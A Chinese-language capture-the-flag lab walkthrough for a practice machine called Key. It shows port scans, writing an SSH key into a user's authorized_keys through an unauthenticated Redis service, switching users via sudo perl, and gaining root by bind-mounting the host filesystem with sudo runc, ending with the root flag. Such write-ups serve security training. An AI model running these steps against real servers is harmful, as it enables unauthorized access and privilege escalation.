# 靶场练习
下载:Key
Nat,IP: 192.168.1.164
# 靶场练习
# 渗透初收集
PORT STATE SERVICE VERSION | |
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) | |
| ssh-hostkey: | |
| 3072 51:f9:f5:59:cd:45:4e:d1:2c:06:41:3b:a6:7a:91:19 (RSA) | |
| 256 5c:9f:60:b7:c5:50:fc:01:fa:37:7c:dc:16:54:87:3b (ECDSA) | |
|_ 256 04:da:68:25:69:d6:2a:25:e2:5b:e2:99:36:36:d7:48 (ED25519) | |
80/tcp open http Apache httpd 2.4.54 ((Debian)) | |
|_http-server-header: Apache/2.4.54 (Debian) | |
|_http-title: Apache2 Test Debian Default Page: It works |
┌──(root㉿kali)-[~] | |
└─# nmap -6 -p- -A fe80::20c:29ff:fe77:f32f%eth0 | |
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-29 08:25 EDT | |
Nmap scan report for fe80::20c:29ff:fe77:f32f | |
Host is up (0.00071s latency). | |
Not shown: 65532 closed tcp ports (reset) | |
PORT STATE SERVICE VERSION | |
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) | |
80/tcp open http Apache httpd 2.4.54 ((Debian)) | |
6379/tcp open redis Redis key-value store 6.0.16 |
ipv6 有 redis 服务
┌──(root㉿kali)-[~] | |
└─# redis-cli -h fe80::20c:29ff:fe77:f32f%eth0 | |
[fe80::20c:29ff:fe77:f32f%eth0]:6379> config get * | |
285) "dir" | |
286) "/home/dick" | |
287) "save" |
看到了用户目录,写入 ssh 公钥进去
┌──(root㉿kali)-[~/.ssh] | |
└─# cat id_rsa.pub | redis-cli -h fe80::20c:29ff:fe77:f32f%eth0 -p 6379 -x set ssh_key | |
OK |
┌──(root㉿kali)-[~] | |
└─# redis-cli -h fe80::20c:29ff:fe77:f32f%eth0 | |
[fe80::20c:29ff:fe77:f32f%eth0]:6379> config set dir /home/dick/.ssh | |
OK | |
[fe80::20c:29ff:fe77:f32f%eth0]:6379> config set dbfilename "authorized_keys" | |
OK | |
[fe80::20c:29ff:fe77:f32f%eth0]:6379> save | |
OK |
用私钥连接,成功拿到 dick 的 shell
# 提权
sudo -u gary perl -e 'exec "/bin/bash";'
拿到 gary 的权限
sudo -l
发现有个 runc 有 sudo 权限
Runc 是一个轻量级的命令行工具,用于在 Linux 系统上创建和运行容器。它是由 Open Container Initiative(OCI)维护的一个开放标准的一部分。Runc 实际上是一个轻量级的容器运行时(container runtime),它负责在 Linux 系统上启动容器。Runc 的设计目标是提供一个通用的、标准的容器运行时,它可以与不同的容器管理器(比如 Docker、containerd 等)配合使用,从而为容器化应用提供一致的运行环境。Runc 遵循 OCI 制定的容器规范,因此与符合该规范的容器映像兼容。总之,Runc 可以被认为是一个用于创建和运行容器的基础工具,它提供了一种标准的方式来定义和管理容器的生命周期,并且具有良好的跨平台兼容性。
gary@key:~$ runc spec | |
gary@key:~$ nano config.json |
然后再 mounts 区域插入如下配置:
{ | |
"type": "bind", | |
"source": "/", | |
"destination": "/", | |
"options": [ | |
"rbind", | |
"rw", | |
"rprivate" | |
] | |
}, |
创建文件夹,然后运行
gary@key:~$ mkdir rootfs | |
gary@key:~$ sudo runc run demo | |
# cat /root/root.txt | |
c4fe6806da41e3087eff3c01b1a98d5f |
拿到 flag